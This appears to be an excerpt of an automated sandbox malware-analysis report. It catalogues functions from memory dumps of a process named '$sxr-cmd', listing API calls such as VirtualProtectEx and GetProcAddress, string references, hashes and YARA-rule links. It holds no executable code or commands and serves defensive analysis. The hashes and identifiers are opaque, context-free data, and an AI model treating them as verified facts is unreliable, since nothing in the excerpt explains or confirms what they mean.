Opcode ID: cebe966d7df5a2bd0607568b5e1b41817dd61a68bafb8258f014fa92f4b8adc0
Instruction ID: 1dbefaea7e9d4fa0e53f338a8ca554db0d7e1a4482d0dcd2745341badd4194a5
Opcode Fuzzy Hash: cebe966d7df5a2bd0607568b5e1b41817dd61a68bafb8258f014fa92f4b8adc0
Instruction Fuzzy Hash: 75215A22B14A51CEF740AB71E8400BDBBB0FB8DB64B845125EE1D63B98DF38D059CB24

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5C1F58 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002155A5C1F80
_set_statfp.LIBCMT ref: 000002155A5C1F9B
_set_statfp.LIBCMT ref: 000002155A5C1FB7
_set_statfp.LIBCMT ref: 000002155A5C1FF3

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 293195b8bbf4479d610c4483b0a03604a2021c60c1f7caa8b5aec6deb79c3708
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 6411A732A55E35E1FE681165D47DBE910C37BF537CFC406A4FA66073DE8B584889C224

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A591358 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002155A591380
_set_statfp.LIBCMT ref: 000002155A59139B
_set_statfp.LIBCMT ref: 000002155A5913B7
_set_statfp.LIBCMT ref: 000002155A5913F3

Memory Dump Source

Source File: 0000000D.00000002.3355953691.000002155A580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002155A580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a580000_$sxr-cmd.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 09311781c0dc539dba5ee21173bc5950b06e8c53d9b3039d5ae7eac255293120
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 9D11C836A50E30E9FFD41156F45DBE910E7BBF43BCE9406A4BA670EFE68B144849CA00

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B96F8 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002155A5B9717
SetLastError.KERNEL32 ref: 000002155A5B979E

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: afeb0ab3ae9b140264ba62f65efacef86e232e555d1866a57a7faeca2321756a
Instruction ID: 3c501c5a33c7aab8c2083f20e6b4acc8cc8432e261da8965f6a8f7d642ad437a
Opcode Fuzzy Hash: afeb0ab3ae9b140264ba62f65efacef86e232e555d1866a57a7faeca2321756a
Instruction Fuzzy Hash: F411BB31201E39F2FE105B25985CFE42293A7E67A9F980AA4F927573D5EF38C4098210

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B3910 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002155A5B3923
GetCurrentProcess.KERNEL32 ref: 000002155A5B3956
VirtualProtectEx.KERNEL32 ref: 000002155A5B3976
GetCurrentProcess.KERNEL32 ref: 000002155A5B398F
VirtualProtectEx.KERNEL32 ref: 000002155A5B39B0

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 95c025b2b6ac4fd8cd0aff1f1749a1d88ffa67048487cde947e6dbc57d84852c
Instruction ID: cb8c35307c11de4a3327e203cbf00dd481b0423d58b9e79f27c6fc53f4eff856
Opcode Fuzzy Hash: 95c025b2b6ac4fd8cd0aff1f1749a1d88ffa67048487cde947e6dbc57d84852c
Instruction Fuzzy Hash: E4114C36605F54E7EF248F11E448A89A7B1F795B98F844065EB4913B98EF39C548C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F5CB4 Relevance: 7.5, APIs: 5, Instructions: 36synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF71380C9EE,?,?,?,00007FF71380EA6C,?,?,?,00007FF71380E925), ref: 00007FF7137F5CCB
GetExitCodeProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,00000000,00007FF71380C9EE,?,?,?,00007FF71380EA6C,?,?,?,00007FF71380E925), ref: 00007FF7137F5CDF
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF7137F5D03
fprintf.MSVCRT ref: 00007FF7137FF4A9
fflush.MSVCRT ref: 00007FF7137FF4C2

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CloseCodeExitHandleObjectProcessSingleWaitfflushfprintf
String ID:
API String ID: 1826527819-0
Opcode ID: 9b0532f4637facb70c38994ad755a75d253ca2745f37b53511dc5f2b70e91ec1
Instruction ID: e3e39b6dc3ea46fb18c2330d31135915297370fc2491832b21847ee7b79b62ec
Opcode Fuzzy Hash: 9b0532f4637facb70c38994ad755a75d253ca2745f37b53511dc5f2b70e91ec1
Instruction Fuzzy Hash: 5C015B21908E82CAE7847B24A4442B9FEA0FB8E761FC45130D95F16392DF7D905CC730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF713805770 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 169COMMON

Download Yara Rule

APIs

CreateSemaphoreExW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF713805874
CreateSemaphoreExW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF71380595E

Strings

_p0, xrefs: 00007FF713805811
wil, xrefs: 00007FF7138058A8, 00007FF713805993

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CreateSemaphore
String ID: _p0$wil
API String ID: 1078844751-1814513734
Opcode ID: f755fc07889d6bdabc5bc906762bcb13605c747dc28133a8421b38486d33263f
Instruction ID: d696eb3f0ded21e14c5eed12c0e4377fd59e900b14d3232d9b41feab2d408457
Opcode Fuzzy Hash: f755fc07889d6bdabc5bc906762bcb13605c747dc28133a8421b38486d33263f
Instruction Fuzzy Hash: 6451D561B1DE46C6EFA1AF5494542BAA2D0EF84BA0FD44435DE4D2FB84DE3ED4198330

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A588595 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002155A5885A3
_IsNonwritableInCurrentImage.LIBCMT ref: 000002155A588638

Strings

csm, xrefs: 000002155A58861E
f, xrefs: 000002155A5885B6

Memory Dump Source

Source File: 0000000D.00000002.3355953691.000002155A580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002155A580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a580000_$sxr-cmd.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 2b5e796eb5467920efef0e0a99ae24113856edacf9d40b67cb560e30e154ce16
Instruction ID: 0337673d71b2a8948f8be49ccb245bd0bc16d2fe48ac4eb075a83ad74432d2f4
Opcode Fuzzy Hash: 2b5e796eb5467920efef0e0a99ae24113856edacf9d40b67cb560e30e154ce16
Instruction Fuzzy Hash: B951B436711A21EAEF54DB15D448F9D3BA7F3A4BDCFA081A0EA1647788DB35D849C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380B89C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

RtlCreateUnicodeStringFromAsciiz.NTDLL ref: 00007FF71380B934
GlobalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF7137F5085), ref: 00007FF71380B9A5
GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF7137F5085), ref: 00007FF71380B9F7

Strings

%WINDOWS_COPYRIGHT%, xrefs: 00007FF71380B912

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Global$AllocAsciizCreateFreeFromStringUnicode
String ID: %WINDOWS_COPYRIGHT%
API String ID: 1103618819-1745581171
Opcode ID: 16d2b5de7a39f60598d54afa282db4830b4e4e1db5eb0a36e09c541776fa7494
Instruction ID: 0122c8c6bd9141f6156d1d1f92db3c3495ec74b4b692b6cf7c51735e2ee553f1
Opcode Fuzzy Hash: 16d2b5de7a39f60598d54afa282db4830b4e4e1db5eb0a36e09c541776fa7494
Instruction Fuzzy Hash: CA419462A08B8186EB91AF119410279F7E0FB49BA4FC54231DE8D27395EF3DE459C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF713810774 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7138107DA

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

_wcslwr.MSVCRT ref: 00007FF71381085B
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7138108A9

Strings

[%s], xrefs: 00007FF71381080F

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$_wcslwr
String ID: [%s]
API String ID: 886762496-302437576
Opcode ID: 6b4c1c4d74b94ba716d9676fa8f70ee5e6fe565704e602bb4556ef7a03b977ca
Instruction ID: 974a6a56f2961e7984d52fe2950eff34a7eb49f80dcbe665052186d52ccceee6
Opcode Fuzzy Hash: 6b4c1c4d74b94ba716d9676fa8f70ee5e6fe565704e602bb4556ef7a03b977ca
Instruction Fuzzy Hash: EF319F32705B8289EBA1EF21D8903E9A7A0FB88B98F844135CE4D5B754DF3CD259C320

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A588578 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002155A5885A3
_IsNonwritableInCurrentImage.LIBCMT ref: 000002155A588638

Strings

csm, xrefs: 000002155A58861E
f, xrefs: 000002155A5885B6

Memory Dump Source

Source File: 0000000D.00000002.3355953691.000002155A580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002155A580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a580000_$sxr-cmd.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: f92dbc6d1c1d953d5be36fe8438910096b534b45e3e951fcd2048bd10c89d910
Instruction ID: 957e55b3236b31630e8495eedf17e6a93393b39c7a8b9c6551fc86e0b3620aef
Opcode Fuzzy Hash: f92dbc6d1c1d953d5be36fe8438910096b534b45e3e951fcd2048bd10c89d910
Instruction Fuzzy Hash: 43318031201A61EAEB149F12E848F993B56F7A4BDCFA58054FE560B784CB38C948CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F32E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137F33A8: iswspace.MSVCRT ref: 00007FF7137F33C0

iswspace.MSVCRT ref: 00007FF7137F331C

Strings

off, xrefs: 00007FF7137F3386

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: iswspace
String ID: off
API String ID: 2389812497-733764931
Opcode ID: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
Instruction ID: 9178024a2cbd92f882dc6ced911bb2784ef0ddf2921bcaa6a582e6adf4693300
Opcode Fuzzy Hash: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
Instruction Fuzzy Hash: 78217C21E0CE5285FBE0BB159490279E6A8FF4DBA0F9C9034D96E67680DE2CE44C9221

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF713809308 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00007FF713809350

Part of subcall function 00007FF7137F09F4: iswspace.MSVCRT ref: 00007FF7137F0A11
Part of subcall function 00007FF7137F09F4: wcschr.MSVCRT ref: 00007FF7137F0A2B

Part of subcall function 00007FF7137ED3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED46E
Part of subcall function 00007FF7137ED3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED485
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED4EE
Part of subcall function 00007FF7137ED3F0: iswspace.MSVCRT ref: 00007FF7137ED54D
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED569
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED58C

Strings

PATH, xrefs: 00007FF713809371, 00007FF7138093AA
DPATH, xrefs: 00007FF713809361, 00007FF71380939F
%s=%s, xrefs: 00007FF7138093C0

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$Heapiswspace$AllocProcess
String ID: %s=%s$DPATH$PATH
API String ID: 3731854180-3148396303
Opcode ID: 6e24d6ef11c6ecd66e01cca1666d6bf90257a2046feb6b4e08ff6718ab6fb53b
Instruction ID: a8c44cd6fb39bae69f94e9968c5475da500f4e7581f6eb4dd9ee3f1ec70fae2e
Opcode Fuzzy Hash: 6e24d6ef11c6ecd66e01cca1666d6bf90257a2046feb6b4e08ff6718ab6fb53b
Instruction Fuzzy Hash: 9F21C511B09E4384FFD0AB65E440276E3A4AF84BA0FC95135DD0D673A4DE2ED45C8770

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F8198 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

wcscmp.MSVCRT ref: 00007FF7137F81EA
wcscmp.MSVCRT ref: 00007FF7137F81FD

Strings

????????.???, xrefs: 00007FF7137F81F3
*.*, xrefs: 00007FF7137F81E0

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: wcscmp
String ID: *.*$????????.???
API String ID: 3392835482-3870530610
Opcode ID: 2267b9e2c7923373c3284e1f11a26023b10064941758683347217dc228a16a6c
Instruction ID: 9a679a507d20ce90fdcd79402019ad602badf2a34313ce6c9e4a2cf40b9b5d13
Opcode Fuzzy Hash: 2267b9e2c7923373c3284e1f11a26023b10064941758683347217dc228a16a6c
Instruction Fuzzy Hash: 53112525B24E6280E7E4AF26F480139B7A4FB48BA0F984030CE8D63B45DF3DF4498720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF713809114 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF713809146

Strings

Null environment, xrefs: 00007FF713809138
%s, xrefs: 00007FF713809179
CMD Internal Error %s, xrefs: 00007FF71380913F

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: fprintf
String ID: CMD Internal Error %s$%s$Null environment
API String ID: 383729395-2781220306
Opcode ID: 0cb055b157f36561183311c9dd91b0f05aa56f2c0aaf14e14510f586112b26cc
Instruction ID: b6ac8d7fb373e3bcb48a5d2f2f8caceaaf43ecf718665187af7500dd4d7b78de
Opcode Fuzzy Hash: 0cb055b157f36561183311c9dd91b0f05aa56f2c0aaf14e14510f586112b26cc
Instruction Fuzzy Hash: AA119421A09D4285EBD5AB14E5400B9A2A1FB447B0FC44331D97D672E4EF2DE469C370

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F09F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

iswspace.MSVCRT ref: 00007FF7137F0A11
wcschr.MSVCRT ref: 00007FF7137F0A2B

Strings

=,;, xrefs: 00007FF7137F0A24
.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC, xrefs: 00007FF7137F09FE

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: iswspacewcschr
String ID: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC$=,;
API String ID: 287713880-1183017076
Opcode ID: 8fcb7a04138a3b23992a7cdb16ce22985c951060ce84957cc9b0662892501dea
Instruction ID: 21fadd518960526ff4cb7d24dd7f2fa4e39c3f8e3306b28204e7b8a7024690cb
Opcode Fuzzy Hash: 8fcb7a04138a3b23992a7cdb16ce22985c951060ce84957cc9b0662892501dea
Instruction Fuzzy Hash: DDF04F21A18E5285EBA1AB11A4C017AE6A4FF4CF60BC99231D96E63354EF2DE45CC620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F04F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF7137F0525
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF7137F0554

Strings

SetThreadUILanguage, xrefs: 00007FF7137F054D
KERNEL32.DLL, xrefs: 00007FF7137F051E

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: KERNEL32.DLL$SetThreadUILanguage
API String ID: 1646373207-2530943252
Opcode ID: 33fd74526e8d725267334377f69302da3f837b9787d184b3d8809460f86dc4c4
Instruction ID: 9bafe2cf8cd413594afe56ee5e10bf6362beb9f485456d2c2aae9720be5ad9d1
Opcode Fuzzy Hash: 33fd74526e8d725267334377f69302da3f837b9787d184b3d8809460f86dc4c4
Instruction Fuzzy Hash: E1011E61E09E02D9EBD5AB14A891538E2A4FF49730FD50735C53E227E0DE7D656C8730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7138073C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF7138073DF
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF7138073F5

Strings

kernelbase.dll, xrefs: 00007FF7138073D5
RaiseFailFastException, xrefs: 00007FF7138073EE

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
